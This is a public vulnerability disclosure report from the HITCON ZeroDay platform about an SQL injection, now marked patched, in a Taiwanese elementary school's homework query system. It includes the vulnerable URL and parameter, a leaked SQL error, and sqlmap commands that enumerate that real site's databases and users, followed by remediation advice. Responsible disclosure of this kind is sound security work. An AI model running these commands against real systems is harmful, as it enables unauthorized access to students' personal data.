Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00814
- Vendor: 桃園市中壢區內壢國民小學
- Title: 內壢國小 學生作業系統資料庫注入漏洞
- Introduction: 學生作業查詢系統存在SQL注入漏洞,可能導致全校師生個資外洩,詳細風險請學校自行評估
處理狀態
目前狀態
公開
Last Update : 2025/08/22
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/07/23 17:57:13 : 新提交 (由 肉 更新此狀態)
- 2025/07/23 17:57:54 : 新提交 (由 肉 更新此狀態)
- 2025/07/28 15:52:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 17:02:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 17:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/06 17:02:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/14 09:22:32 : 已修補 (由 組織帳號 更新此狀態)
- 2025/08/22 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00814
- 通報者:kevin2758 (肉)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://x.nlps.tyc.edu.tw/stud/
https://x.nlps.tyc.edu.tw/stud/?day=&cl=4&subj=&title=&name=
https://x.nlps.tyc.edu.tw/stud/?day=&cl=4&subj=&title=&name=
敘述
漏洞概述
內壢國小學生作品展示板存在SQL注入漏洞,可能導致整個資料庫系統被入侵。
漏洞重現步驟
-
系統會直接顯示SQL錯誤訊息:
ERROR:select * from hwk where classno like '4'%' ORDER BY sn DESC limit 0,20 -
使用SQLMap工具確認漏洞:
sqlmap -u "https://x.nlps.tyc.edu.tw/stud/?day=&cl=4&subj=&title=&name=" \ -p cl \ --banner \ --current-db \ --current-user \ --batch \ --threads=1- 支援UNION注入
- 支援時間盲注
-
列出資料庫
sqlmap -u "https://x.nlps.tyc.edu.tw/stud/?day=&cl=4&subj=&title=&name=" -p cl --dbs --current-db --current-user --batch --threads=1影響範圍
- 經初步測試,該系統包含多個資料庫
- 資料庫包含學生作業資料,可能涉及個人資訊,影響全校師生
修補建議
1. 修復SQL注入:使用參數化查詢取代字串拼接
2. 關閉錯誤顯示:設定 display_errors = Off 避免洩漏系統資訊 (一般若顯示錯誤,很容易被進一步利用)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。